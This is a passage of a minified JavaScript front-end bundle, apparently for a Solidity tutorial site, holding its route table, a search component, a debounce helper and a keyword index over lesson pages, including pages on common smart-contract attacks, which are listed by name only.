here"})]}),i.jsx("div",{className:rs.updates,children:A1.map((d,I)=>i.jsx("div",{children:d},I))}),i.jsx("div",{className:rs.search,children:i.jsx(BB,{value:s,onChange:o})}),r()]})]})}const w1=[{path:"/abi-decode",component:xC},{path:"/abi-encode",component:QC},{path:"/app/assembly-bin-exp",component:PC},{path:"/app/bi-directional-payment-channel",component:lj},{path:"/app/create2",component:rj},{path:"/app/crowd-fund",component:Cj},{path:"/app/deploy-any-contract",component:bj},{path:"/app/dutch-auction",component:Gj},{path:"/app/english-auction",component:Xj},{path:"/app/erc1155",component:xj},{path:"/app/erc20",component:Qj},{path:"/app/erc721",component:Pj},{path:"/app/ether-wallet",component:lu},{path:"/app/gasless-token-transfer",component:ru},{path:"/app/iterable-mapping",component:Cu},{path:"/app/merkle-tree",component:bu},{path:"/app/minimal-proxy",component:Gu},{path:"/app/multi-call",component:Xu},{path:"/app/multi-delegatecall",component:xu},{path:"/app/multi-sig-wallet",component:Qu},{path:"/app/simple-bytecode-contract",component:Pu},{path:"/app/time-lock",component:ly},{path:"/app/uni-directional-payment-channel",component:ry},{path:"/app/upgradeable-proxy",component:Cy},{path:"/app/write-to-any-slot",component:by},{path:"/array",component:Gy},{path:"/assembly-error",component:Xy},{path:"/assembly-if",component:xy},{path:"/assembly-loop",component:Qy},{path:"/assembly-math",component:Py},{path:"/assembly-variable",component:lm},{path:"/bitwise",component:rm},{path:"/call",component:Cm},{path:"/calling-contract",component:bm},{path:"/constants",component:Gm},{path:"/constructor",component:Xm},{path:"/data-locations",component:xm},{path:"/defi/chainlink-price-oracle",component:Qm},{path:"/defi/constant-product-amm",component:Pm},{path:"/defi/constant-sum-amm",component:lA},{path:"/defi/dai-proxy",component:rA},{path:"/defi/discrete-staking-rewards",component:CA},{path:"/defi/stable-swap-amm",component:bA},{path:"/defi/staking-rewards",component:GA},{path:"/defi/uniswap-v2",component:XA},{path:"/defi/uniswap-v2-add-remove-liquidity",component:xA},{path:"/defi/uniswap-v2-flash-swap",component:QA},{path:"/defi/uniswap-v2-optimal-one-sided-supply",component:PA},{path:"/defi/uniswap-v3-flash",component:lb},{path:"/defi/uniswap-v3-flash-swap",component:rb},{path:"/defi/uniswap-v3-liquidity",component:Cb},{path:"/defi/uniswap-v3-swap",component:bb},{path:"/defi/vault",component:Gb},{path:"/delegatecall",component:Xb},{path:"/enum",component:xb},{path:"/error",component:Qb},{path:"/ether-units",component:Pb},{path:"/events",component:lw},{path:"/fallback",component:rw},{path:"/first-app",component:Cw},{path:"/function",component:bw},{path:"/function-modifier",component:Gw},{path:"/function-selector",component:Xw},{path:"/gas",component:xw},{path:"/gas-golf",component:Qw},{path:"/hacks/accessing-private-data",component:Pw},{path:"/hacks/block-timestamp-manipulation",component:lk},{path:"/hacks/contract-size",component:rk},{path:"/hacks/delegatecall",component:Ck},{path:"/hacks/denial-of-service",component:bk},{path:"/hacks/deploy-different-contracts-same-address",component:Gk},{path:"/hacks/front-running",component:Xk},{path:"/hacks/hiding-malicious-code-with-external-contract",component:xk},{path:"/hacks/honeypot",component:Qk},{path:"/hacks/overflow",component:Pk},{path:"/hacks/phishing-with-tx-origin",component:lZ},{path:"/hacks/randomness",component:rZ},{path:"/hacks/re-entrancy",component:CZ},{path:"/hacks/self-destruct",component:bZ},{path:"/hacks/signature-replay",component:GZ},{path:"/hacks/vault-inflation",component:XZ},{path:"/hashing",component:xZ},{path:"/hello-world",component:QZ},{path:"/if-else",component:PZ},{path:"/immutable",component:l0},{path:"/import",component:r0},{path:"/inheritance",component:C0},{path:"/interface",component:b0},{path:"/library",component:G0},{path:"/loop",component:X0},{path:"/mapping",component:x0},{path:"/new-contract",component:Q0},{path:"/payable",component:P0},{path:"/primitives",component:lW},{path:"/sending-ether",component:rW},{path:"/shadowing-inherited-state-variables",component:CW},{path:"/signature",component:bW},{path:"/state-variables",component:GW},{path:"/structs",component:XW},{path:"/super",component:xW},{path:"/tests/echidna",component:QW},{path:"/try-catch",component:PW},{path:"/unchecked-math",component:lB},{path:"/variables",component:rB},{path:"/view-and-pure-functions",component:CB},{path:"/visibility",component:bB},{path:"",component:b1}];function Fo(){const{state:s,init:a}=ct();return W.useLayoutEffect(()=>{a({width:window.document.body.clientWidth})},[]),s.initialized?i.jsx(SI,{basename:"",children:i.jsx(VC,{children:i.jsx(FI,{children:w1.map(n=>{const{prev:l,next:p}=nC(n.path);return i.jsx(gh,{path:n.path,element:Uo.createElement(n.component,{prev:l,next:p})},n.path)})})})}):null}const k1=document.getElementById("root"),Z1=qi(k1),No=document.getElementById("root");No.hasChildNodes()?$i(No,i.jsx(wo,{children:i.jsx(Fo,{})})):Z1.render(i.jsx(wo,{children:i.jsx(Fo,{})})); +`,ZB=({prev:s,next:a})=>i.jsx(u,{version:mB,title:AB,description:bB,html:kB,prev:s,next:a,codes:wB}),WB=({size:s,className:a=""})=>i.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor",width:s,height:s,className:a,children:i.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-5.197-5.197m0 0A7.5 7.5 0 105.196 5.196a7.5 7.5 0 0010.607 10.607z"})}),BB="_component_efeb7_1",GB="_icon_efeb7_8",fB="_input_efeb7_12",Ie={component:BB,icon:GB,input:fB},VB=({value:s,onChange:a})=>{function n(l){a(l.target.value)}return i.jsxs("div",{className:Ie.component,children:[i.jsx(WB,{size:18,className:Ie.icon}),i.jsx("input",{className:Ie.input,placeholder:"Search",value:s,onChange:n})]})};var vB="Expected a function",Ro=NaN,YB="[object Symbol]",RB=/^\s+|\s+$/g,XB=/^[-+]0x[0-9a-f]+$/i,HB=/^0b[01]+$/i,FB=/^0o[0-7]+$/i,NB=parseInt,KB=typeof dl=="object"&&dl&&dl.Object===Object&&dl,SB=typeof self=="object"&&self&&self.Object===Object&&self,xB=KB||SB||Function("return this")(),MB=Object.prototype,JB=MB.toString,zB=Math.max,EB=Math.min,Ce=function(){return xB.Date.now()};function LB(s,a,n){var l,p,e,c,t,o,r=0,d=!1,I=!1,j=!0;if(typeof s!="function")throw new TypeError(vB);a=Xo(a)||0,hc(n)&&(d=!!n.leading,I="maxWait"in n,e=I?zB(Xo(n.maxWait)||0,a):e,j="trailing"in n?!!n.trailing:j);function y(k){var G=l,v=p;return l=p=void 0,r=k,c=s.apply(v,G),c}function A(k){return r=k,t=setTimeout(g,a),d?y(k):c}function b(k){var G=k-o,v=k-r,M=a-G;return I?EB(M,e-v):M}function B(k){var G=k-o,v=k-r;return o===void 0||G>=a||G<0||I&&v>=e}function g(){var k=Ce();if(B(k))return h(k);t=setTimeout(g,b(k))}function h(k){return t=void 0,j&&l?y(k):(l=p=void 0,c)}function C(){t!==void 0&&clearTimeout(t),r=0,l=o=p=t=void 0}function m(){return t===void 0?c:h(Ce())}function Z(){var k=Ce(),G=B(k);if(l=arguments,p=this,o=k,G){if(t===void 0)return A(o);if(I)return t=setTimeout(g,a),y(o)}return t===void 0&&(t=setTimeout(g,a)),c}return Z.cancel=C,Z.flush=m,Z}function hc(s){var a=typeof s;return!!s&&(a=="object"||a=="function")}function QB(s){return!!s&&typeof s=="object"}function _B(s){return typeof s=="symbol"||QB(s)&&JB.call(s)==YB}function Xo(s){if(typeof s=="number")return s;if(_B(s))return Ro;if(hc(s)){var a=typeof s.valueOf=="function"?s.valueOf():s;s=hc(a)?a+"":a}if(typeof s!="string")return s===0?s:+s;s=s.replace(RB,"");var n=HB.test(s);return n||FB.test(s)?NB(s.slice(2),n?2:8):XB.test(s)?Ro:+s}var UB=LB;const TB=So(UB),DB={leading:!1,trailing:!0};function OB(s,a,n){return W.useCallback(TB(s,a,DB),n)}function PB(s,a){let n=s;for(let l=0;l0;){const[e,c,t]=a.pop();p&&(l=l.slice(0,c-1),p=!1),l+=e;const o=Object.keys(t);if(o.length>0)for(let r=0;ra+p)}const sG=["/visibility"],aG=["/visibility","/view-and-pure-functions","/sending-ether","/hashing","/function-selector","/function-modifier","/function","/fallback","/delegatecall","/calling-contract","/call"],nG=["/visibility"],lG=["/visibility","/hacks/hiding-malicious-code-with-external-contract"],pG=["/view-and-pure-functions"],eG=["/view-and-pure-functions"],cG=["/variables","/structs","/state-variables","/shadowing-inherited-state-variables","/primitives","/mapping","/immutable","/ether-units","/enum","/constants","/assembly-variable","/array"],tG=["/variables","/structs","/state-variables","/shadowing-inherited-state-variables","/primitives","/mapping","/immutable","/ether-units","/enum","/constants","/array"],oG=["/variables"],rG=["/variables"],iG=["/variables","/state-variables","/shadowing-inherited-state-variables"],hG=["/variables","/structs","/primitives","/mapping","/immutable","/hacks/accessing-private-data","/ether-units","/enum","/data-locations","/constants","/array","/app/iterable-mapping"],gG=["/unchecked-math","/gas-golf","/gas"],dG=["/unchecked-math"],IG=["/unchecked-math","/assembly-math","/app/assembly-bin-exp"],CG=["/unchecked-math","/hacks/overflow"],jG=["/unchecked-math","/hacks/overflow"],uG=["/try-catch","/error","/assembly-error"],yG=["/try-catch","/error"],mG=["/tests/echidna"],AG=["/tests/echidna"],bG=["/super","/calling-contract"],wG=["/super"],kG=["/super","/new-contract","/interface","/inheritance","/hello-world","/hacks/hiding-malicious-code-with-external-contract","/hacks/deploy-different-contracts-same-address","/hacks/contract-size","/first-app","/delegatecall","/constructor","/calling-contract","/call","/app/simple-bytecode-contract","/app/minimal-proxy","/app/deploy-any-contract","/app/create2"],ZG=["/super","/new-contract","/interface","/inheritance","/first-app","/delegatecall","/calling-contract","/call"],WG=["/super","/shadowing-inherited-state-variables","/inheritance","/constructor"],BG=["/structs"],GG=["/structs"],fG=["/structs","/primitives"],VG=["/structs","/primitives"],vG=["/state-variables"],YG=["/state-variables"],RG=["/state-variables","/hello-world","/first-app","/app/write-to-any-slot","/app/upgradeable-proxy","/app/uni-directional-payment-channel","/app/time-lock","/app/simple-bytecode-contract","/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call","/app/minimal-proxy","/app/merkle-tree","/app/iterable-mapping","/app/gasless-token-transfer","/app/ether-wallet","/app/erc721","/app/erc20","/app/erc1155","/app/english-auction","/app/dutch-auction","/app/deploy-any-contract","/app/crowd-fund","/app/create2","/app/bi-directional-payment-channel"],XG=["/state-variables","/hello-world","/first-app","/app/write-to-any-slot","/app/upgradeable-proxy","/app/uni-directional-payment-channel","/app/time-lock","/app/simple-bytecode-contract","/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call","/app/minimal-proxy","/app/merkle-tree","/app/iterable-mapping","/app/gasless-token-transfer","/app/ether-wallet","/app/erc721","/app/erc20","/app/erc1155","/app/english-auction","/app/dutch-auction","/app/deploy-any-contract","/app/crowd-fund","/app/create2","/app/bi-directional-payment-channel"],HG=["/signature","/hashing","/hacks/signature-replay","/app/uni-directional-payment-channel","/app/merkle-tree","/app/bi-directional-payment-channel"],FG=["/signature"],NG=["/signature"],KG=["/signature","/hacks/signature-replay","/app/uni-directional-payment-channel","/app/multi-sig-wallet","/app/bi-directional-payment-channel"],SG=["/signature"],xG=["/signature"],MG=["/shadowing-inherited-state-variables"],JG=["/shadowing-inherited-state-variables"],zG=["/sending-ether"],EG=["/sending-ether","/sending-ether","/payable","/fallback"],LG=["/sending-ether","/payable","/fallback","/ether-units","/app/ether-wallet"],QG=["/sending-ether","/payable","/fallback","/app/ether-wallet"],_G=["/sending-ether","/fallback","/app/gasless-token-transfer"],UG=["/sending-ether","/delegatecall","/calling-contract","/call","/app/multi-call"],TG=["/sending-ether","/fallback"],DG=["/sending-ether","/fallback"],OG=["/sending-ether","/payable","/fallback"],PG=["/primitives"],$G=["/primitives"],qG=["/primitives"],sf=["/primitives"],af=["/primitives"],nf=["/primitives","/hacks/deploy-different-contracts-same-address","/app/create2"],lf=["/primitives"],pf=["/primitives"],ef=["/new-contract","/hacks/deploy-different-contracts-same-address"],cf=["/new-contract"],tf=["/new-contract","/hacks/deploy-different-contracts-same-address","/app/create2"],of=["/new-contract","/hacks/deploy-different-contracts-same-address"],rf=["/mapping","/app/iterable-mapping"],hf=["/loop","/assembly-loop"],gf=["/loop"],df=["/library"],If=["/interface"],Cf=["/inheritance"],jf=["/inheritance"],uf=["/inheritance"],yf=["/immutable","/defi/constant-sum-amm","/defi/constant-product-amm","/constants"],mf=["/immutable","/constants"],Af=["/immutable"],bf=["/immutable"],wf=["/if-else"],kf=["/if-else"],Zf=["/if-else"],Wf=["/hello-world"],Bf=["/hello-world"],Gf=["/hashing"],ff=["/hashing"],Vf=["/hashing"],vf=["/hacks/vault-inflation","/hacks/signature-replay","/hacks/self-destruct","/hacks/re-entrancy","/hacks/randomness","/hacks/phishing-with-tx-origin","/hacks/overflow","/hacks/honeypot","/hacks/hiding-malicious-code-with-external-contract","/hacks/front-running","/hacks/deploy-different-contracts-same-address","/hacks/denial-of-service","/hacks/delegatecall","/hacks/contract-size","/hacks/block-timestamp-manipulation","/hacks/accessing-private-data"],Yf=["/hacks/vault-inflation","/hacks/signature-replay","/hacks/self-destruct","/hacks/re-entrancy","/hacks/randomness","/hacks/phishing-with-tx-origin","/hacks/overflow","/hacks/honeypot","/hacks/hiding-malicious-code-with-external-contract","/hacks/front-running","/hacks/deploy-different-contracts-same-address","/hacks/denial-of-service","/hacks/delegatecall","/hacks/contract-size","/hacks/block-timestamp-manipulation","/hacks/accessing-private-data"],Rf=["/hacks/vault-inflation"],Xf=["/hacks/vault-inflation"],Hf=["/hacks/vault-inflation","/defi/vault"],Ff=["/hacks/signature-replay"],Nf=["/hacks/self-destruct"],Kf=["/hacks/randomness"],Sf=["/hacks/randomness"],xf=["/hacks/randomness"],Mf=["/hacks/randomness"],Jf=["/hacks/randomness","/hacks/block-timestamp-manipulation"],zf=["/hacks/randomness","/hacks/block-timestamp-manipulation"],Ef=["/hacks/phishing-with-tx-origin"],Lf=["/hacks/overflow"],Qf=["/hacks/honeypot"],_f=["/hacks/hiding-malicious-code-with-external-contract"],Uf=["/hacks/hiding-malicious-code-with-external-contract"],Tf=["/hacks/hiding-malicious-code-with-external-contract"],Df=["/hacks/hiding-malicious-code-with-external-contract"],Of=["/hacks/front-running"],Pf=["/hacks/front-running"],$f=["/hacks/deploy-different-contracts-same-address","/app/deploy-any-contract"],qf=["/hacks/deploy-different-contracts-same-address"],s2=["/hacks/deploy-different-contracts-same-address"],a2=["/hacks/denial-of-service"],n2=["/hacks/denial-of-service"],l2=["/hacks/delegatecall","/delegatecall","/app/upgradeable-proxy","/app/multi-delegatecall"],p2=["/hacks/contract-size"],e2=["/hacks/contract-size"],c2=["/hacks/contract-size"],t2=["/hacks/contract-size"],o2=["/hacks/block-timestamp-manipulation"],r2=["/hacks/accessing-private-data"],i2=["/hacks/accessing-private-data"],h2=["/hacks/accessing-private-data","/data-locations","/app/write-to-any-slot"],g2=["/gas-golf"],d2=["/function-selector"],I2=["/function-selector"],C2=["/function-modifier"],j2=["/function-modifier"],u2=["/function-modifier"],y2=["/first-app"],m2=["/first-app"],A2=["/events"],b2=["/events"],w2=["/ether-units"],k2=["/ether-units"],Z2=["/error"],W2=["/error","/assembly-error"],B2=["/error"],G2=["/enum"],f2=["/defi/vault","/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2","/defi/staking-rewards","/defi/stable-swap-amm","/defi/discrete-staking-rewards","/defi/dai-proxy","/defi/constant-sum-amm","/defi/constant-product-amm","/defi/chainlink-price-oracle"],V2=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2"],v2=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash"],Y2=["/defi/uniswap-v3-swap","/defi/uniswap-v3-flash-swap","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2","/defi/stable-swap-amm"],R2=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2","/defi/stable-swap-amm","/defi/constant-sum-amm","/defi/constant-product-amm"],X2=["/defi/uniswap-v3-liquidity","/defi/uniswap-v2-add-remove-liquidity"],H2=["/defi/uniswap-v3-flash-swap"],F2=["/defi/uniswap-v3-flash","/defi/uniswap-v2-flash-swap"],N2=["/defi/uniswap-v3-flash"],K2=["/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2"],S2=["/defi/uniswap-v2-optimal-one-sided-supply"],x2=["/defi/uniswap-v2-optimal-one-sided-supply"],M2=["/defi/uniswap-v2-optimal-one-sided-supply"],J2=["/defi/uniswap-v2-optimal-one-sided-supply"],z2=["/defi/uniswap-v2-add-remove-liquidity","/assembly-math"],E2=["/defi/uniswap-v2-add-remove-liquidity"],L2=["/defi/staking-rewards","/defi/discrete-staking-rewards"],Q2=["/defi/staking-rewards","/defi/discrete-staking-rewards"],_2=["/defi/staking-rewards","/defi/discrete-staking-rewards"],U2=["/defi/stable-swap-amm"],T2=["/defi/stable-swap-amm"],D2=["/defi/discrete-staking-rewards"],O2=["/defi/dai-proxy"],P2=["/defi/dai-proxy","/app/upgradeable-proxy","/app/minimal-proxy"],$2=["/defi/constant-sum-amm"],q2=["/defi/constant-product-amm"],sV=["/defi/chainlink-price-oracle"],aV=["/defi/chainlink-price-oracle"],nV=["/defi/chainlink-price-oracle"],lV=["/defi/chainlink-price-oracle"],pV=["/data-locations"],eV=["/data-locations"],cV=["/data-locations"],tV=["/data-locations"],oV=["/constructor"],rV=["/constructor"],iV=["/calling-contract"],hV=["/bitwise"],gV=["/bitwise"],dV=["/bitwise"],IV=["/bitwise"],CV=["/bitwise","/assembly-variable","/assembly-math","/assembly-loop","/assembly-if","/assembly-error","/app/assembly-bin-exp"],jV=["/assembly-variable","/assembly-math","/assembly-loop","/assembly-if","/assembly-error","/app/assembly-bin-exp"],uV=["/assembly-math"],yV=["/array"],mV=["/array"],AV=["/app/write-to-any-slot"],bV=["/app/write-to-any-slot","/app/deploy-any-contract"],wV=["/app/write-to-any-slot"],kV=["/app/upgradeable-proxy"],ZV=["/app/uni-directional-payment-channel","/app/bi-directional-payment-channel"],WV=["/app/uni-directional-payment-channel","/app/bi-directional-payment-channel"],BV=["/app/time-lock"],GV=["/app/time-lock"],fV=["/app/simple-bytecode-contract"],VV=["/app/simple-bytecode-contract"],vV=["/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call"],YV=["/app/multi-sig-wallet"],RV=["/app/multi-sig-wallet","/app/ether-wallet"],XV=["/app/multi-call"],HV=["/app/minimal-proxy"],FV=["/app/merkle-tree"],NV=["/app/merkle-tree"],KV=["/app/iterable-mapping"],SV=["/app/gasless-token-transfer"],xV=["/app/gasless-token-transfer","/app/erc20"],MV=["/app/gasless-token-transfer"],JV=["/app/gasless-token-transfer"],zV=["/app/erc721"],EV=["/app/erc721"],LV=["/app/erc721","/app/erc1155"],QV=["/app/erc20"],_V=["/app/erc20"],UV=["/app/erc1155"],TV=["/app/erc1155"],DV=["/app/english-auction"],OV=["/app/english-auction","/app/dutch-auction"],PV=["/app/english-auction","/app/dutch-auction"],$V=["/app/dutch-auction"],qV=["/app/crowd-fund"],s1=["/app/crowd-fund"],a1=["/app/crowd-fund"],n1=["/app/create2"],l1=["/app/assembly-bin-exp"],p1=["/app/assembly-bin-exp"],e1=["/abi-encode","/abi-decode"],c1=["/abi-encode"],t1=["/abi-encode","/abi-decode"],o1=["/abi-encode"],r1=["/abi-encode"],i1=["/abi-encode"],h1=["/abi-decode"],Ho={visibility:sG,function:["/visibility","/view-and-pure-functions","/sending-ether","/hashing","/function-selector","/function-modifier","/function","/fallback","/delegatecall","/calling-contract","/call"],functions:aG,internal:nG,private:["/visibility","/hacks/accessing-private-data"],public:["/visibility"],external:lG,view:pG,pure:eG,variable:cG,variables:tG,local:oG,global:rG,state:iG,data:hG,gas:gG,unchecked:dG,math:IG,overflow:CG,underflow:jG,try:["/try-catch"],catch:["/try-catch"],error:uG,errors:yG,test:mG,echidna:AG,calling:bG,parent:wG,contract:kG,contracts:ZG,inheritance:WG,super:["/super","/inheritance"],struct:BG,structs:GG,type:fG,types:VG,reading:vG,writing:YG,app:RG,application:XG,cryptography:HG,verify:FG,verifying:NG,signature:KG,signatures:SG,ecrecover:xG,shadow:MG,shadowing:JG,sending:zG,send:EG,ether:LG,eth:QG,transfer:_G,call:UG,fallback:TG,receive:DG,payable:OG,primitive:PG,primitives:$G,boolean:qG,uint256:sf,int256:af,address:nf,uint:lf,int:pf,new:["/new-contract","/new-contract"],create:ef,creates:cf,create2:tf,salt:of,mapping:rf,for:["/loop","/assembly-loop"],loop:hf,loops:gf,while:["/loop","/assembly-loop"],do:["/loop"],library:df,interface:["/interface"],interfaces:If,override:Cf,virtual:jf,is:uf,import:["/import","/enum"],constant:yf,constants:mf,immutable:Af,immutables:bf,if:["/if-else","/assembly-if"],else:["/if-else"],conditional:wf,statement:kf,statements:Zf,hello:Wf,world:Bf,hash:Gf,hashing:ff,keccak256:Vf,hack:vf,security:Yf,inflation:Rf,erc4626:Xf,vault:Hf,replay:Ff,selfdestruct:Nf,"re-entrancy":["/hacks/re-entrancy"],source:Kf,random:Sf,randomness:xf,blockhash:Mf,block:Jf,timestamp:zf,phishing:Ef,"tx.origin":["/hacks/phishing-with-tx-origin"],arithmetic:Lf,honeypot:Qf,hide:_f,hiding:Uf,malicious:Tf,code:Df,front:Of,running:Pf,deploy:$f,different:qf,same:s2,denial:a2,service:n2,delegatecall:l2,bypass:p2,size:e2,check:c2,extcodesize:t2,manipulation:o2,access:r2,accessing:i2,storage:h2,golf:g2,selector:d2,selectors:I2,modifier:C2,modifiers:j2,_:u2,first:y2,counter:m2,event:A2,events:b2,wei:w2,units:k2,require:Z2,revert:W2,assert:B2,enum:["/enum"],imports:G2,defi:f2,uniswap:V2,v3:v2,swap:Y2,amm:R2,liquidity:X2,arbitrage:H2,flash:F2,loan:N2,v2:K2,optimal:S2,one:x2,sided:M2,supply:J2,add:z2,remove:E2,staking:L2,reward:Q2,rewards:_2,curve:U2,stable:T2,discrete:D2,dai:O2,proxy:P2,sum:$2,product:q2,chainlink:sV,price:aV,oracle:nV,oracles:lV,location:pV,locations:eV,memory:cV,calldata:tV,constructor:oV,constructors:rV,other:iV,bitwise:hV,most:gV,significant:dV,bit:IV,assembly:CV,yul:jV,mul:uV,switch:["/assembly-if"],array:yV,arrays:mV,write:AV,any:bV,slot:wV,upgradeable:kV,"uni-directional":["/app/uni-directional-payment-channel"],payment:ZV,channel:WV,time:BV,lock:GV,simple:fV,bytecode:VV,multi:vV,sig:YV,wallet:RV,staticcall:XV,minimal:HV,merkle:FV,tree:NV,iterable:KV,gasless:SV,token:xV,ERC20:MV,permit:JV,erc721:zV,ierc721:EV,nft:LV,erc20:QV,ierc20:_V,erc1155:UV,ierc1155:TV,english:DV,auction:OV,auctions:PV,dutch:$V,crowd:qV,fund:s1,funding:a1,precompute:n1,"bi-directional":["/app/bi-directional-payment-channel"],binary:l1,exponentiation:p1,abi:e1,encode:c1,bytes:t1,encodeWithSelector:o1,encodeWithSignature:r1,encodeCall:i1,decode:h1},Fo={"/visibility":["visibility","function","functions","internal","private","public","external"],"/view-and-pure-functions":["view","pure","function","functions"],"/variables":["variable","variables","local","global","state","data"],"/unchecked-math":["gas","unchecked","math","overflow","underflow"],"/try-catch":["try","catch","error","errors"],"/tests/echidna":["test","echidna"],"/super":["calling","parent","contract","contracts","inheritance","super"],"/structs":["struct","structs","data","type","types","variable","variables"],"/state-variables":["reading","writing","state","variable","variables","app","application"],"/signature":["cryptography","verify","verifying","signature","signatures","ecrecover"],"/shadowing-inherited-state-variables":["state","variables","variable","shadow","shadowing","inheritance"],"/sending-ether":["sending","send","ether","eth","transfer","send","call","fallback","receive","payable","function","functions"],"/primitives":["primitive","primitives","data","type","types","variable","variables","boolean","uint256","int256","address","uint","int"],"/payable":["payable","eth","send","ether"],"/new-contract":["new","contract","create","contracts","creates","new","create2","salt"],"/mapping":["data","variable","variables","mapping"],"/loop":["for","loop","loops","while","do"],"/library":["library"],"/interface":["interface","interfaces","contract","contracts"],"/inheritance":["inheritance","super","override","virtual","is","contract","contracts"],"/import":["import"],"/immutable":["constant","constants","immutable","immutables","data","variable","variables"],"/if-else":["if","else","conditional","statement","statements"],"/hello-world":["contract","app","application","hello","world"],"/hashing":["hash","hashing","function","functions","keccak256","cryptography"],"/hacks/vault-inflation":["hack","security","inflation","erc4626","vault"],"/hacks/signature-replay":["hack","security","cryptography","signature","replay"],"/hacks/self-destruct":["hack","security","selfdestruct"],"/hacks/re-entrancy":["hack","security","re-entrancy"],"/hacks/randomness":["hack","security","source","random","randomness","blockhash","block","timestamp"],"/hacks/phishing-with-tx-origin":["hack","security","phishing","tx.origin"],"/hacks/overflow":["hack","security","arithmetic","overflow","underflow"],"/hacks/honeypot":["hack","security","honeypot"],"/hacks/hiding-malicious-code-with-external-contract":["hack","security","hide","hiding","malicious","code","external","contract"],"/hacks/front-running":["hack","security","front","running"],"/hacks/deploy-different-contracts-same-address":["hack","security","deploy","salt","create","create2","different","contract","same","address"],"/hacks/denial-of-service":["hack","security","denial","service"],"/hacks/delegatecall":["hack","security","delegatecall"],"/hacks/contract-size":["hack","security","bypass","contract","size","check","extcodesize"],"/hacks/block-timestamp-manipulation":["hack","security","block","timestamp","manipulation"],"/hacks/accessing-private-data":["hack","security","access","accessing","private","data","storage"],"/gas-golf":["gas","golf"],"/gas":["gas"],"/function-selector":["function","functions","selector","selectors"],"/function-modifier":["function","functions","modifier","modifiers","_"],"/function":["function","functions"],"/first-app":["contract","contracts","app","first","application","counter"],"/fallback":["fallback","function","functions","receive","payable","send","ether","eth","transfer"],"/events":["event","events"],"/ether-units":["data","variables","variable","ether","wei","units"],"/error":["error","errors","require","revert","assert"],"/enum":["data","variable","variables","enum","import","imports"],"/delegatecall":["delegatecall","call","contract","contracts","function","functions"],"/defi/vault":["defi","vault"],"/defi/uniswap-v3-swap":["defi","uniswap","v3","swap","amm"],"/defi/uniswap-v3-liquidity":["defi","uniswap","v3","liquidity","amm"],"/defi/uniswap-v3-flash-swap":["defi","uniswap","v3","swap","arbitrage","amm"],"/defi/uniswap-v3-flash":["defi","uniswap","v3","flash","loan","amm"],"/defi/uniswap-v2-optimal-one-sided-supply":["defi","uniswap","v2","optimal","one","sided","supply","amm"],"/defi/uniswap-v2-flash-swap":["defi","uniswap","v2","flash","swap","amm"],"/defi/uniswap-v2-add-remove-liquidity":["defi","uniswap","v2","add","remove","liquidity","amm"],"/defi/uniswap-v2":["defi","uniswap","v2","swap","amm"],"/defi/staking-rewards":["defi","staking","reward","rewards"],"/defi/stable-swap-amm":["defi","curve","stable","swap","amm"],"/defi/discrete-staking-rewards":["defi","discrete","staking","reward","rewards"],"/defi/dai-proxy":["defi","dai","proxy"],"/defi/constant-sum-amm":["defi","constant","sum","amm"],"/defi/constant-product-amm":["defi","constant","product","amm"],"/defi/chainlink-price-oracle":["defi","chainlink","price","oracle","oracles"],"/data-locations":["data","location","locations","storage","memory","calldata"],"/constructor":["constructor","constructors","contract","inheritance"],"/constants":["constant","constants","data","variable","variables"],"/calling-contract":["calling","other","contract","contracts","call","function","functions"],"/call":["contract","contracts","call","function","functions"],"/bitwise":["bitwise","most","significant","bit","assembly"],"/assembly-variable":["assembly","variable","yul"],"/assembly-math":["assembly","yul","math","add","mul"],"/assembly-loop":["assembly","loop","yul","while","for"],"/assembly-if":["assembly","yul","if","switch"],"/assembly-error":["assembly","yul","error","revert"],"/array":["data","variable","variables","array","arrays"],"/app/write-to-any-slot":["app","application","write","any","slot","storage"],"/app/upgradeable-proxy":["app","application","delegatecall","upgradeable","proxy"],"/app/uni-directional-payment-channel":["app","application","uni-directional","payment","channel","signature","cryptography"],"/app/time-lock":["app","application","time","lock"],"/app/simple-bytecode-contract":["app","application","simple","bytecode","contract"],"/app/multi-sig-wallet":["app","application","multi","sig","signature","wallet"],"/app/multi-delegatecall":["app","application","multi","delegatecall"],"/app/multi-call":["app","application","multi","call","staticcall"],"/app/minimal-proxy":["app","application","minimal","proxy","contract"],"/app/merkle-tree":["app","application","merkle","tree","cryptography"],"/app/iterable-mapping":["app","application","mapping","data","iterable"],"/app/gasless-token-transfer":["app","application","gasless","token","transfer","ERC20","permit"],"/app/ether-wallet":["app","application","ether","eth","wallet"],"/app/erc721":["app","application","erc721","ierc721","nft"],"/app/erc20":["app","application","erc20","ierc20","token"],"/app/erc1155":["app","application","erc1155","nft","ierc1155"],"/app/english-auction":["app","application","english","auction","auctions"],"/app/dutch-auction":["app","application","dutch","auction","auctions"],"/app/deploy-any-contract":["app","application","deploy","any","contract"],"/app/crowd-fund":["app","application","crowd","fund","funding"],"/app/create2":["app","application","create2","precompute","contract","address"],"/app/bi-directional-payment-channel":["app","application","bi-directional","payment","channel","signature","cryptography"],"/app/assembly-bin-exp":["assembly","yul","binary","exponentiation","math"],"/abi-encode":["abi","encode","bytes","encodeWithSelector","encodeWithSignature","encodeCall"],"/abi-decode":["abi","decode","bytes"]},jh=[];for(const s of 